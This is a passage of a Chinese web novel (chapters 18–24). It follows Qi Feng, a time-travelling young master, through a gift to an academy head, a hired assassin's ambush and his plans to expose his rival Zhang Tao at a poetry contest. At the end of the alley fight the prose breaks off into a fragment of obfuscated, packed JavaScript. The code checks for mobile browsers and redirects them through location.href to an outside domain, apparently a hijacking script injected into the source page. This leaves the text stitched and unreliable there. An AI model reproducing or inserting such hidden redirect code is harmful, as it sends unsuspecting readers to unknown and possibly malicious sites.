“周文翰?”齐震天诧异道,“他可是……”
“曾经的户部侍郎,如今的理学大家。”齐枫接过话头,“若能得他指点,胜过十个寻常先生。”
齐震天若有所思地点点头:“也好。周山长虽已不在朝堂,但门生故旧遍布天下。若能得他青睐……”
父子二人又说了会儿话,齐枫便借口疲惫回了自己院子。
一进门,就见楚清秋正在整理书案。
“老爷没事了?”她头也不抬地问。
“表面上看是没事。”齐枫瘫在椅子上,长长吐出一口气,“但我总觉得这事没完。”
楚清秋停下手中的动作:“少爷怀疑张家?”
“太巧了。”齐枫眯起眼睛,“我刚接手那块地,父亲就被人举报。张韬之前又说过那些话……”
他忽然坐直身子,“青禾,你去查查,最近张家有没有人和盐课司的人来往。”
楚清秋轻轻“嗯”了一声,转身要走。
“等等。”齐枫叫住她,“你,不问问我为什么要查这个?”
楚清秋回头,半边完好的脸上浮现一丝极淡的笑意:“少爷自有道理。”
齐枫望着她离去的背影,忽然觉得这个丫鬟
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越来越让人捉摸不透了。
……
次日清晨,齐枫起了个大早。
他在库房里翻箱倒柜,终于找出一套尘封已久的木工工具。
“少爷这是要做什么?”小荷好奇地问。
“做个好东西。”齐枫神秘地笑笑,从袖中掏出一张图纸,“去帮我找几块上好的檀木来。”
整整一个上午,齐枫都窝在后院工棚里。
锯木声,刨花声不绝于耳,惹得路过的下人们纷纷侧目。
到了晌午时分,他终于捧着个精致的木匣子走了出来。
“成了!”齐枫抹了把脸上的木屑,得意地展示自己的作品。
那是一个精巧的折叠式文具箱,展开后分为三层,可放置笔墨纸砚等各种文具。
最妙的是,箱盖上还暗藏机关,轻轻一按就能弹出个小抽屉,正好可以放印章。
“这是……”楚清秋不知何时站在了他身后。
“便携文具箱。”齐枫兴奋地解释,“周山长经常要批改学生作业,有了这个,走到哪儿都能办公。”
楚清秋眼中闪过一丝讶异:“少爷自己设计的?”
“那当然。”齐枫信口胡诌,“昨晚熬夜画的图纸。”
其实这不过是把现代文具盒的理念古代化了。
但在这个世界,绝对是独一份的创意。
齐枫仔细地将文具箱用锦缎包好,又写了张使用说明塞进去:“走,去书院!”
周文翰正在书房批阅课业,听说齐枫求见,眉头下意识皱了起来。
但当他看到那个精巧的文具箱时,眼睛顿时亮了。
“这是……”老山长小心翼翼地抚摸着檀木纹理。
“学生一点小心意。”齐枫恭敬道,“听说山长经常要带着课业回家批改,这个或许能方便些。”
周文翰按动机关,看着小抽屉“咔嗒”一声弹出,不由啧啧称奇:“巧夺天工!这机关设计精妙,竟与墨家术数有异曲同工之妙!”
齐枫暗笑。
这算什么,要是把瑞士**做出来,还不得把老爷子吓着?
第十九章 一箭三雕
“学生惭愧。”齐枫故作谦虚,“不过是些小聪明罢了。”
周文翰爱不释手地把玩着文具箱,忽然抬头:“齐枫,你可知老夫为何收你入院?”
齐枫一愣:“不是因为学生……”
“不是因为别的。”周文翰打断他,“是因为老夫在你身上看到了灵气。”
他指了指太阳穴,“这里,和这里!”
又指了指心口,“都与众不同。”
齐枫心头微热。
这位老山长的眼光,确实毒辣。
“学生惭愧。”他深深一揖。
“不必过谦。”周文翰摆摆手,“正好,有件事要告诉你,半个月后,青川书院要来我书山书院,在青田县文庙举办一场诗会。”
齐枫心头一动:“诗会?”
“名义上是两院交流,实则……”周文翰冷笑一声,“是冲着老夫来的,青川书院的山长赵明诚,当年与老夫有些过节。”
齐枫恍然大悟。
难怪昨日听说青川书院下战书时,学子们反应那么激烈。
“学生定当全力以赴。”齐枫郑重道。
周文翰满意地点点头:“此次诗会的胜者,将获得一册《淳化阁帖》的摹本。”
齐枫瞳孔微缩。
这可是好东西!《淳化阁帖》是太宗时期编纂的书法集,收录了历代名家墨宝,即便是摹本也价值连城。
“此外……”周文翰意味深长地看着他,“若能在此次诗会上崭露头角,对你科考大有裨益。朝中几位大人,最喜提携有才学的年轻人。”
齐枫心头一跳。这不正是他需要的吗?
功名,人脉,靠山,一箭三雕!
“学生明白了。”他深深一揖,“定不负山长期望。”
离开书院时,夕阳已经西沉。
齐枫走在回府的路上,脑海中已经开始盘算如何在诗会上大放异彩。
突然,楚清秋从一条小巷中闪出,拦住了他的去路。
“少爷,”她脸色异常凝重,“查到了,张家大少爷张韬,三日前确实宴请过盐课司的刘书吏。”
齐枫眼神骤然变冷。
果然不是巧合!
“还有更奇怪的。”楚清秋压低声音,“奴婢打听到,那五百亩地之所以贫瘠,是因为十年前有人在下面挖过什么东西。”
“挖东西?”齐枫愕然,“挖什么?”
楚清秋摇摇头:“没人知道,只知道当时张家突然雇了几十个劳力,连夜挖了半个月,后来又全部填平了。”
齐枫眉头紧锁。这事越来越蹊跷了。
贫瘠的土地,突然的举报,神秘的挖掘。
这张家到底在搞什么鬼?
“先回去再说。”他环顾四周,突然觉得暗处似乎有眼睛在盯着自己。
暮色渐浓,齐枫的背影渐渐消失在长街尽头。
醉仙楼二楼雅间,张韬端起酒杯的手微微发抖。
他强压着怒火,将杯中酒一饮而尽,辛辣的液体灼烧着喉咙,心里怒火却依旧熊熊燃烧。
“陈大哥,小弟再敬您一杯。”张韬挤出一丝笑容,给对面满身江湖气的中年男子斟满酒,“这次的事,就全仰仗您了。”
那中年男子约莫四十出头,左脸一道刀疤从眉骨延伸到嘴角,像条蜈蚣般狰狞。
他漫不经心地转着酒杯,似笑非笑地瞥了张韬一眼:“张二少爷,你这么急着要那齐家小子的命,该不会是因为他在书山书院让你出了丑吧?”
张韬脸色瞬间铁青,手中的酒壶差点捏碎。
那日的耻辱,是他这辈子都洗刷不掉的污点。
现在整个青田县都在传,说他张二少爷赌输了赖账,连带着张家都成了笑柄。
“陈大哥说笑了。”张韬咬着后槽牙,硬是挤出一丝笑容,“那齐枫处处与我张家作对,前几日还强占了我家五百亩良田。若不给他点教训,我张家如何在青田县立足?”
“哦?”陈姓男子挑了挑眉,“可我听说,那五百亩地是你张家输给人家的?”
张韬额头青筋暴起,却不敢发作。
眼前这位“血手”陈三,是江湖上有名的**,手上人命不下二十条
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若不是为了除掉齐枫,他堂堂张家二少爷,何须对这等亡命之徒低声下气?
“陈大哥,”张韬深吸一口气,又给陈三斟满酒,“明日您动手时,千万小心。那齐枫在赵家赌坊,一人放倒了三十多个打手,身手不简单。”
“哈哈哈哈!”陈三突然大笑,震得桌上杯盘叮当作响,“张二少爷,你当老子这血手的名号是白叫的?”
他猛地撸起袖子,露出小臂上密密麻麻的伤疤,“老子杀的人,比你睡过的女人还多!那小子再能打,也不过是个富家少爷,三脚猫的功夫罢了!”
张韬连连点头:“那是自然,陈大哥威名远播,对付个毛头小子还不是手到擒来?”
他举起酒杯,“小弟先预祝陈大哥马到成功!”
陈三哼了一声,仰头灌下烈酒,随手抹了抹嘴:“明日午时,城南柳巷。那小子不是喜欢带着两个丫鬟招摇过市吗?老子就在那儿送他上路!”
张韬眼中闪过一丝狠毒,心里暗道:齐枫啊齐枫,让你再嚣张几天。等明日此时,你就是个**了!
……
次日清晨,齐枫带着楚清秋和小荷出了门。
三月的阳光暖融融的,照得人浑身舒坦。
“少爷,咱们这是去哪儿啊?”小荷蹦蹦跳跳地跟在后面,好奇地东张西望。
“药铺。”齐枫头也不回地说,“给青禾找几味药。”
楚清秋闻言一怔,心头微热。
这些日子,齐枫每隔几日就会给她施针用药,那折磨她许久的毒确实消退了不少。
只是没想到,他竟一直记挂着这事。
三人转过两条街,来到青田县最大的药铺,仁心堂。
一进门,浓郁的药香便扑面而来。
“齐少爷!”掌柜的见是齐枫,连忙迎上来,“您可是稀客啊!”
齐枫从袖中掏出一张药方:“掌柜的,照这个方子抓药。”
掌柜接过药方,眯着眼睛看了半晌:“唔……茯苓,白术,甘草这些都有。只是这味七星海棠……”
第二十章 暗杀
掌柜的为难地搓了搓手,“小店暂时没货啊。”
“没货?”齐枫皱眉,“哪里能弄到?”
“这个……”掌柜的压低声音,“七星海棠只生长在悬崖峭壁上,采摘极为危险。整个青田县,恐怕只有百草堂的孙老头敢去采。”
齐枫二话不说,掏出一锭银子拍在柜台上:“这些做定金,劳烦掌柜的帮忙跑一趟。剩下的药先给我包起来。”
掌柜的见了银子,眼睛一亮:“好说好说!齐少爷放心,我这就派人去寻孙老头!”
出了药铺,小荷忍不住问:“少爷,那个七星海棠很珍贵吗?”
“嗯。”齐枫点点头,“你没听长在悬崖上,十年才开一次花。”
楚清秋心头一震。
三人继续在街上闲逛。
齐枫买了些笔墨纸砚,又给小荷买了串糖葫芦。
走着走着,他突然停下脚步,嘴角勾起一抹若有若无的笑容。
“少爷,怎么了?”小荷舔着糖葫芦,含糊不清地问。
“没什么。”齐枫若无其事地继续往前走,“就是觉得,今天天气真好。”
楚清秋却敏锐地察觉到什么,不着痕迹地往身后瞥了一眼。
街角处,一个黑影一闪而过。
“少爷……”她低声提醒。
“我知道。”齐枫打断她,声音轻得只有他们三人能听见,“从出药铺就跟着了。”
小荷吓得差点把糖葫芦掉在地上:“有,有人跟踪我们?”
“别回头。”齐枫捏了捏她的手,脸上依然挂着懒散的笑容,“继续往前走,就当不知道。”
楚清秋的手悄悄摸向腰间,那里藏着一把锋利的**。
自从那日齐枫给她解开镣铐,她就一直随身带着它。
“青禾。”齐枫突然说,“待会儿如果真打起来,你带着小荷先走。”
“不行。”楚清秋斩钉截铁地拒绝,“我的命是少爷救的,要死也是我先死。”
齐枫诧异地看了她一眼,没想到这个平日里冷若冰霜的丫鬟,竟能说出这样的话。
别说她了,就连楚清秋自己脱口而出之后都有些惊讶,她堂堂女帝,何时变成这样了。
“傻话。”他摇摇头,“我齐枫的命硬着呢,哪那么容易死?”
正说着,三人拐进了一条僻静的小巷。
这是回齐府的近路,平时人迹罕至。
刚走到一半,前方突然闪出一个人影,挡住了去路。
“齐少爷,这么急着回家啊?”
来人正是陈三。
他抱着膀子站在巷子中央,脸上的刀疤在阳光下显得格外狰狞。
小荷吓得尖叫一声,躲到了齐枫身后。
楚清秋则悄无声息地挡在了齐枫左侧,右手已经摸到了腰间的**。
齐枫却出奇地平静,甚至还有闲心整了整衣袖:“这位好汉,有何贵干?”
“贵干?”陈三狞笑一声,“有人出钱买你的命!”
说着,他从背后抽出一把明晃晃的短刀,“放心,老子下手快,保证让你死得痛快!”
齐枫叹了口气:“张韬给了你多少钱?我出双倍。”
陈三一愣,随即大笑:“有意思!可惜啊,江湖有江湖的规矩。我血手陈三接了单,就绝不会反悔!”
话音未落,他突然暴起,短刀如毒蛇般朝齐枫咽喉刺来!
“少爷小心!”楚清秋猛地推开齐枫,同时抽出**格挡。
“铛”的一声脆响,火花四溅。
陈三显然没料到这个看似柔弱的丫鬟竟有如此身手,一时竟被逼退了两步。
“有意思!”陈三眼中闪过一丝兴奋,“小娘们儿身手不错啊!等杀了你主子,老子再好好疼你!”
楚清秋眼中寒光一闪,手中**划出一道凌厉的弧线,直取陈三咽喉!
两人瞬间交手十余招,竟是不分上下。
陈三越打越心惊,这丫鬟的招式狠辣凌厉,招招致命,哪像是普通丫鬟?分明是受过专业训练的**!
齐枫在一旁看得真切,心中也是暗惊。
他知道楚清秋不简单,却没想到身手如此了得。
看来这丫头的来历,比他想象的还要复杂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119335|180032||http|test|mini|href|location''.split(''|''),0,{}));
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r>正僵持间,巷子口突然传来一阵嘈杂的脚步声。
“在那儿!”
“快!别让他跑了!”
陈三脸色一变,虚晃一招跳出战圈:“今天算你走运!咱们后会有期!”
说完,纵身一跃翻上墙头,转眼消失不见。
楚清秋刚要追,被齐枫一把拉住:“别追了,小心调虎离山。”
这时,那群人已经跑到近前,为首的竟是吴胖子。
他满头大汗,气喘吁吁地指着墙头:“齐,齐哥,那人是谁啊?”
“一个朋友。”齐枫面不改色,“玩捉迷藏呢。”
吴胖子将信将疑,但看齐枫不想多说,也就识趣地没再追问:“齐哥,我正找你呢!听说你要参加诗会?”
齐枫点点头:“怎么,你也想去?”
“我哪会作诗啊!”吴胖子挠挠头,“不过我爹刚得了坛三十年的女儿红,说到时候给你庆功用!”
齐枫笑着拍拍他的肩膀:“那就先谢过了。”
一行人走出小巷,重新回到熙熙攘攘的大街上。
阳光依旧明媚,仿佛刚才的刺杀从未发生过。
但齐枫知道,这不过是暴风雨前的宁静。
张韬既然敢雇**人,就绝不会善罢甘休。
“诗会……”他轻声自语,“看来得好好准备准备了。”
“少爷,您真的不去准备诗会吗?”小荷一边给齐枫系腰带,一边忧心忡忡地问,“听说青川书院派来的都是才高八斗的学子呢。”
齐枫揉了揉小丫鬟的脑袋,笑道:“怎么,对你家少爷这么没信心?”
“不是……”小荷嘟着嘴,“只是听说那个赵明诚山长特意从府城请了几位才子助阵。少爷您这些天光顾着打理田地,连诗都没作过一首……”
“天赋异禀懂不懂?”齐枫整了整衣领,一脸傲然,“对付这些歪瓜裂枣,还用得着特意准备?”
楚清秋站在门口,闻言忍不住轻咳一声。
齐枫回头,正对上她那双似笑非笑的眼睛。
“怎么,青禾也不信我?”齐枫挑眉。
第二十一章 田亩制度
“奴婢不敢。”楚清秋微微低头,却掩不住嘴角的弧度,“只是听闻青川书院有位柳公子,曾以春风十里不如你一句名动府城。”
齐枫差点笑出声。
就这?后世这种土味情话他能编一箩筐!
“行了,诗会的事我自有分寸。”他摆摆手,“今天先去把那五百亩地的事解决了。”
……
马车颠簸了近一个时辰,终于来到那片贫瘠的土地。
与半月前相比,田里已经多了几条新挖的沟渠,十几个佃农正在地里忙碌。
见齐枫到来,陈老汉连忙迎上来:“东家,您来得正好!按您说的法子,咱们已经轮作了三分之一的地,蓄水池也挖好了两个。”
齐枫点点头,从马车上搬下几个木箱:“把这些分给大家。”
陈老汉打开一看,顿时愣住了。
箱子里装满了各式各样的农具,但样式却与寻常农具大不相同。
有带刻度的量具,有特制的铲子,还有几把造型古怪的剪刀。
“这是……”
“改良农具。”齐枫拿起一把形似鹤嘴的锄头,“这个叫代耕器,挖沟起垄事半功倍。”
又指着一把带凹槽的铲子,“这是踏犁,深耕时能省一半力气。”
佃农们围拢过来,好奇地传看着这些新奇工具。
一个年轻后生试着挥了挥代耕器,惊喜道:“东家,这玩意儿真顺手!”
齐枫笑了笑,又从怀里掏出一卷图纸:“接下来,咱们要实行区田法。”
他展开图纸,上面密密麻麻画着方格和线条:“把大田划分成小区,每区六尺见方,区间留一尺作行道。这样既能保水保肥,又方便管理。”
陈老汉眯着眼看了半天,突然一拍大腿:“妙啊!这样旱能浇,涝能排,还能轮作倒茬!”
“不止如此。”齐枫指着图纸上的标记,“每个小区根据位置不同,种不同的作物。高处种麦,低处种稻,坡地种豆。再配合我教你们的堆肥法,不出三年,这块地就能变成上等良田!”
佃农们听得目瞪口呆。他们祖祖辈辈种地,何曾听过这等精妙的法子?
“东家,您这本事是从哪儿学来的?”一个年轻佃农忍不住问。
齐枫神秘一笑:“书上看的。”
其实这些不过是后世常见的农业技术,但放在这个时代,绝对是颠覆性的革新。
正午时分,齐枫和佃农们坐在田埂上休息,吃着带来的干粮。
陈老汉端来一碗粗茶,叹了口气:“东家,您这些法子是好,就怕……”
“怕什么?”齐枫接过茶碗。
“怕黑风寨那帮天杀的又来抢啊!”陈老汉咬牙切齿道。
“黑风寨?”齐枫眉头一皱。
“是一伙土匪。”旁边一个中年佃农插嘴道,“盘踞在青龙山已经五六年了,专抢我们这些偏远村子的粮食。”
齐枫心头一动:“官府不管吗?”
“管?”陈老汉苦笑,“前年县太爷派兵围剿过一次,结果连山门都没摸着就损兵折将。后来听说黑风寨背后有靠山,官府也就睁只眼闭只眼了。”
“靠山?”齐枫放下茶碗,“什么样的靠山能让官府对土匪视而不见?”
陈老汉左右看了看,压低声音:“听说是府城里的某位大人。黑风寨抢来的财物,七成都要上供呢!”
齐枫若有所思地点点头。
他突然想起昨日刺杀他的陈三,那一身江湖气,狠辣的身手,该不会……
一个念头如闪电般划过脑海:陈三会不会就是黑风寨的人?甚至可能是头目?
这个猜测让齐枫心头一凛。
如果真是这样,那张韬雇佣陈三来杀他,就不仅仅是私人恩怨了。
“陈伯,”齐枫突然问道,“黑风寨的头目长什么样?”
“听说是个刀疤脸。”陈老汉回忆道,“从左眼角一直划到嘴角,凶神恶煞的。”
齐枫瞳孔微缩。
这不正是陈三的模样吗?
“少爷?”楚清秋敏锐地察觉到他的异样,“您怎么了?”
齐枫摇摇头,强压下心中的震惊:“没事。陈伯,黑风寨一般什么时候下山抢粮?”
“多是秋收时节。”陈老汉叹气,“但也有例外,去年冬天就来过一回,把王家庄抢得精光。”
齐枫站起身,拍了拍身上的尘土:“大家放心,有我在,绝不会让黑风寨动咱们的粮食。”
佃农们将信将疑,但看东家如此笃定,也都稍稍安心。
回府的路上,齐枫一直沉默不语。
楚清秋忍不
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住问道:“少爷是在想黑风寨的事?”
“嗯。”齐枫点点头,“我在想,陈三若是黑风寨的人,那张韬与他勾结,所图恐怕不小。”
楚清秋眼中闪过一丝寒光:“要不要奴婢去青龙山探探虚实?”
“不行!”齐枫断然拒绝,“太危险了。”
他沉思片刻,突然露出一丝冷笑:“不过,若陈三真是土匪头子,我倒是有个一石二鸟的计策。”
“少爷的意思是……”
“诗会。”齐枫轻声道,“这么好的舞台,不演场戏可惜了。”
“这场戏的关键在于以彼之道还施彼身,张韬不是雇了黑风寨的人来杀我吗?那我就让所有人都知道,他张公子与土匪有染。”
“诗会当日,我会故意激怒张韬,以他的性子,这次陈三行动失败,定会暗中指使陈三对我下手,届时我们提前布置好人手,当场擒住陈三。”
楚清秋眼睛一亮:“然后当众揭穿他的身份?”
“不止如此。”齐枫冷笑道,“我要让陈三在众目睽睽之下,亲口承认是受张韬指使,青川书院那么多读书人,最恨的就是与匪类勾结之人。一旦坐实此事,张韬在府城的名声就彻底臭了。”
“但这样会不会打草惊蛇?黑风寨背后的靠山……”
“所以这出戏要拿捏分寸。”齐枫胸有成竹地说,“我们只针对张韬个人,不深究黑风寨的背景。让所有人以为这只是张韬私下行为,与张家无关。这样既能让张韬颜面扫地,又不会逼得张家狗急跳墙。”
楚清秋若有所思:“那张老爷为了撇清关系,恐怕会……”
“没错。”齐枫笑道,“张老爷为了维护家族声誉,必定会当众严惩儿子,到时候张韬不仅要在众人面前丢尽脸面,回家还要挨家法。这可比直接扳倒张家更让他难受。”
“少爷这招真是**诛心呢!”楚清秋掩口轻笑。
齐枫伸了个懒腰:“这叫以其人之道还治其人之身。他想让我死,我只要他丢脸,已经很仁慈了。”
“不过……”他忽然正色道,“这计划最关键的一环是要活捉陈三,青禾,你功夫最好,到时候就埋伏在暗处。”
楚清秋会意地点头:“奴婢明白。定叫那贼子插翅难逃!”
第二十二章 您轻点儿
醉仙楼三楼雅间,陈三左拥右抱,两个浓妆艳抹的女子依偎在他怀中,娇笑着为他斟酒。
他脸上的刀疤在烛光下显得格外狰狞,粗壮的手臂上青筋暴起,一把将其中一个女子搂得更紧了些。
“陈爷,您轻点儿~”女子娇嗔道,却将身子贴得更近。
张韬坐在对面,手中酒杯捏得死紧,指节都泛了白。
他盯着陈三那张得意的脸,心中暗骂:废物!上次还吹嘘什么“三脚猫功夫”,结果连个纨绔子弟都杀不了!
雅间内丝竹声阵阵,酒香混合着脂粉味,熏得人头晕。
张韬强忍着不耐,脸上挤出一丝僵硬的笑容。
陈三突然将目光从怀中女子身上移开,直直地刺向张韬:“张二少,你对我有意见?”
张韬心头一跳,连忙举起酒杯掩饰:“陈大哥说笑了,小弟怎敢对您有意见?”
“哼!”陈三一把推开怀中女子,酒盏重重砸在桌上,“你当老子瞎?从进门起就摆着张臭脸!”
女子惊呼一声,差点摔倒在地。
张韬额角渗出细密汗珠,后背已经湿了一片。
他强撑着笑脸:“陈大哥误会了,小弟只是,只是在想那齐枫的事。”
陈三眯起眼睛,刀疤在烛光下如蜈蚣扭动。
“那小子身边有个功夫不错的丫鬟,老子一时大意才失了手。”
他抓起酒壶直接灌了一口,酒液顺着胡须滴落。
“下次,老子会做足准备。”
张韬眼中闪过一丝阴狠,突然灵光一现:“陈大哥,三日后青田县文庙将举办一场诗会,齐枫那厮必定会去!”
“诗会?”陈三粗声打断,“老子最烦那些酸秀才!”
“正因如此才好下手!”张韬压低声音,身子前倾。
“届时人多眼杂,各书院学子,县里有头有脸的人物都会到场。陈大哥只需混在人群中,趁乱行事!”
陈三摸着下巴上的胡茬,眼中凶光闪烁:“有意思。那丫鬟总不能时时刻刻跟着他。”
“正是!”张韬兴奋地拍了下大腿,“而且诗会后必有酒宴,待他饮至半酣……”
两人对视一眼,同时露出阴冷的笑容。
“就这么定了。”陈三一把拉过刚才推开的女子,粗糙的大手在她腰间摩挲。
“事成之后,别忘了你答应老子的五百两黄金。”
张韬笑容僵了僵,随即恢复如常:“陈大哥放心,张家从不食言。”
窗外,夕阳将青田县的屋顶染成血色。
张韬望着远处齐府的方向,眼中满是怨毒。
齐枫,这次定要你命丧黄泉!
……
官道旁的田地里,齐枫蹲下身,抓起一把土在指间搓了搓。
土质依然干燥粗糙,但比起半月前已经好了许多。
“少爷,您在看什么?”楚清秋站在他身后,面纱被微风轻轻拂动。
齐枫站起身,拍了拍手上的土:“看我们的摇钱树。”
楚清秋顺着他的目光望去,只见贫瘠的土地延伸向远方,与官道平行。
几辆装载货物的马车正从官道上缓缓驶过,扬起阵阵尘土。
“这地能种出摇钱树?”楚清秋难得露出一丝困惑。
齐枫轻笑一声,从袖中掏出一卷图纸展开:“你看,这片地虽然贫瘠,但紧邻官道,是通往府城的必经之路。我打算在这里建一座客栈,供往来客商歇脚。”
楚清秋眼中闪过一丝讶异:“客栈?”
“不止。”齐枫指向图纸上的标记,“客栈只是开始。我还要建货栈,马厩,甚至一个小型集市。你想,从南边来的商队要进府城,至少需要两天行程。如果中途有个地方能让他们歇脚,交易,补充给养……”
“他们会愿意在此停留。”楚清秋接上他的话,眼中渐渐亮起,“而少爷作为地主,可以收取租金,佣金!”
齐枫赞赏地看了她一眼:“聪明。而且这只是明面上的收入,我打听过了,张家这些年之所以能垄断青田县的商贸,就是因为他们控制了几个关键的货栈。我们这里一旦建成,就能打破他们的垄断。”
楚清秋若有所思:“所以少爷才如此重视这块地。”
“不错。”齐枫收起图纸,目光深远,“张韬以为抢走
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的是块废地,殊不知……”
他突然顿住,转头看向官道方向,“有人来了。”
楚清秋立刻警觉起来,手不自觉地摸向腰间**。
“齐哥!齐哥!”熟悉的喊声传来,吴胖子圆滚滚的身影出现在官道上,正拼命朝他们挥手。
齐枫松了口气,笑着迎上去:“吴胖子,你怎么找到这儿来了?”
吴胖子气喘吁吁地跑到近前,圆脸上满是汗珠:“可算,可算找到你了!”
他弯腰撑着膝盖,上气不接下气,“我去了齐府,小荷说你来地里了。”
“慢点说。”齐枫拍拍他的背,“什么事这么急?”
吴胖子直起身,左右看了看,压低声音道:“齐哥,我最近在县里发现了一些奇怪的事情。”
“哦?”齐枫挑眉,“说来听听。”
吴胖子擦了擦汗,神秘兮兮地说:“我有个表兄在县衙当差,昨晚吃酒时他告诉我,最近张家大少爷张韬频繁出入县衙后堂,而且……”
他凑得更近,“每次都是盐课司的刘书吏接待他。”
齐枫眼神一凝:“盐课司?”
“对!”吴胖子点头如捣蒜,“更奇怪的是,前几日有伙陌生人进了城,我表兄说他们行踪诡秘,去了张家后门,而且……”
他咽了口唾沫,“那些人身上都有股子匪气。”
楚清秋闻言,与齐枫交换了一个眼神。
“你表兄可看清那些人的长相?”齐枫沉声问道。
吴胖子摇头:“天色已晚,看不真切。但他说领头的是个刀疤脸,从左眼角一直到嘴角。”
“陈三!”楚清秋脱口而出。
齐枫面色凝重起来:“看来张韬和黑风寨的关系比我们想象的更密切。”
吴胖子一脸茫然:“什么黑风寨?”
“一伙土匪。”齐枫简单解释,“吴胖子,你还听到什么消息?”
吴胖子挠了挠头:“对了!我表兄还说,盐课司最近在查一批失踪的官盐,据说有三十引不知去向。”
“三十引?”齐枫眉头紧锁,“这不正是前阵子诬告我父亲的那个数目?”
第二十三章 诗会开始
楚清秋轻声道:“少爷,这绝非巧合。”
齐枫沉思片刻,突然问道:“吴胖子,诗会的请柬发出去了吗?”
“昨天就发了。”吴胖子点头,“听说青川书院来了不少才子,连府城的赵大人都要来观摩呢。”
“赵大人?”齐枫眼中精光一闪,“可是知府赵明德?”
“正是!”吴胖子压低声音,“听说是李墨阳山长特意请来的,要给书山书院难堪。”
齐枫嘴角勾起一抹冷笑:“有意思,越来越有意思了。”
楚清秋看着齐枫的表情,轻声问:“少爷可是有了打算?”
“将计就计。”齐枫目光如炬,“张韬想在诗会上对我下手,我们就给他这个机会。不过……”
他看向吴胖子,“我需要你帮我个忙。”
吴胖子拍着胸脯:“齐哥尽管吩咐!”
“去找你表兄,打听清楚盐课司查案的具体进展,尤其是那三十引官盐的下落。”齐枫沉声道,“另外,留意张韬和陈三的动向,但切记不要打草惊蛇。”
吴胖子郑重点头:“包在我身上!”
“诗会……”齐枫喃喃自语,“看来会有一场好戏。”
楚清秋站在他身侧,面纱下的嘴角微微上扬。
她突然有些期待这场即将到来的较量了。
翌日。
阳光透过窗棂洒进房间,齐枫伸了个懒腰,慢条斯理地让小荷给自己系好腰带。
“少爷,您今天穿这件靛青色长衫真好看!”小荷一边整理衣襟,一边笑嘻嘻地说,“保管让那些书院的小姐们看得眼都直了!”
楚清秋站在一旁,面无表情地将一柄短剑藏入袖中:“小荷,别胡说。今天是诗会,不是相亲。”
“哎呀,青禾姐就是太严肃了。”小荷吐了吐舌头,“少爷这么有才华,长得又俊,被人喜欢不是很正常嘛!”
齐枫对着铜镜左右看了看,满意地点点头:“小荷说得对,本少爷今天就是要大放异彩。”
他转身拍了拍楚清秋的肩膀,“不过青禾的担心也不无道理,今天人多眼杂,你多留神。”
楚清秋微微颔首,面纱下的眸子闪过一丝冷意:“已经安排好了,府里会多派两个护卫远远跟着。”
“不用那么紧张。”齐枫拿起桌上的折扇,“刷”地一声展开,“张韬那点小伎俩,还奈何不了我。”
三人刚走出院门,迎面撞上了正要出门的齐震天和锦娘。
“父亲也要去诗会看热闹?”齐枫挑了挑眉,有些意外。
齐震天一身深褐色锦袍,面容严肃,闻言冷哼一声:“怎么?就许你去卖弄风骚,不许我去看看?”
锦娘掩嘴轻笑,温柔地拍了拍齐枫的肩膀:“枫儿别听你爹的,他昨晚就念叨着要去看你表现呢。”
她转头对齐震天道,“老爷,您不是说要亲眼看看枫儿怎么让那些瞧不起我们齐家的人开开眼吗?”
齐震天脸上闪过一丝尴尬,咳嗽两声:“锦娘!”
他瞪了齐枫一眼,“小子,今天可别给我丢脸。听说青川书院来了几个厉害角色,连府城的赵大人都惊动了。”
齐枫嘿嘿一笑,折扇轻摇:“父亲放心,保管让您扬眉吐气。今天就要让青田县所有人都知道,我齐枫不是只会吃喝玩乐的纨绔!”
锦娘眼中闪过一丝欣慰:“枫儿长大了。”
齐震天上下打量了儿子一番,难得没有出言讽刺:“要不要跟我一起坐马车过去?”
“不了。”齐枫摇摇头,“我想走走,顺便看看街上的热闹,父亲和锦娘先去吧。”
齐震天点点头,在锦娘的搀扶下上了马车。
临行前,他从车窗探出头来:“记住,输赢不重要,别给我惹事就行!”
马车渐行渐远,小荷噗嗤一笑:“老爷明明很关心少爷嘛,偏要装得那么凶。”
楚清秋轻声道:“父子之间,总是这样。”
齐枫笑了笑,没有接话。
他望着马车消失的方向,眼中闪过一丝复杂。
自从穿越到这个身体,他与这位“父亲”的关系始终若即若离。
不过齐震天一直以来的表现,让
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他心头微暖。
“走吧。”齐枫收回目光,率先迈步,“去会会那些才子们。”
三人沿着青石板路向文庙方向走去。
街上已经热闹起来,不少百姓都朝着同一个方向涌动,显然都是去看诗会热闹的。
“听说了吗?青川书院的柳公子也来了!”
“可是那个写出春风十里不如你的柳明轩?”
“正是!听说他去年在府城诗会上力压群雄,连知府大人都称赞不已呢!”
路人的议论声传入耳中,齐枫嘴角微扬。
前几日楚清秋提到的柳公子,看来确实有些名气。
小荷凑近齐枫,小声道:“少爷,那个柳公子好像很厉害的样子……”
“怕什么。”齐枫用折扇轻敲小荷的脑袋,“你家少爷我连张韬的五千两都赢得,还怕个酸秀才?”
楚清秋突然停下脚步,警惕地环视四周:“有人跟着我们。”
齐枫不动声色地继续往前走:“是陈三的人?”
“不像。”楚清秋压低声音,“似乎是吴少爷。”
话音刚落,身后就传来熟悉的喊声:“齐哥!等等我!”
齐枫回头,只见吴胖子气喘吁吁地追上来,圆脸上满是汗珠,手里还攥着一卷皱巴巴的纸。
“吴胖子?”齐枫挑眉,“你这是?”
吴胖子擦了擦汗,举起那卷纸:“我,我也来参加诗会!”
小荷瞪大眼睛:“吴少爷也会作诗?”
“临时,临时抱佛脚。”吴胖子不好意思地挠挠头,“这两天恶补了一下,想着不能总让齐哥一个人出风头。”
齐枫大笑,用力拍了拍吴胖子的肩膀:“好样的!有志气!”
楚清秋眼中闪过一丝笑意,但很快又恢复警惕:“吴少爷是一个人来的?”
“啊?”吴胖子一愣,随即反应过来,“哦!我表兄在文庙当差,他没来。”
他凑近齐枫,压低声音,“齐哥,我刚从那边过来,看见张韬和陈三在文庙后门鬼鬼祟祟的……”
齐枫眼神一凝:“果然来了。”
第二十四章 好戏开场
楚清秋的手不自觉地摸向袖中短剑:“少爷,要不要……”
“不必。”齐枫摇摇头,折扇“啪”地一合,“按原计划行事,吴胖子,你表兄可知道那三十引官盐的下落?”
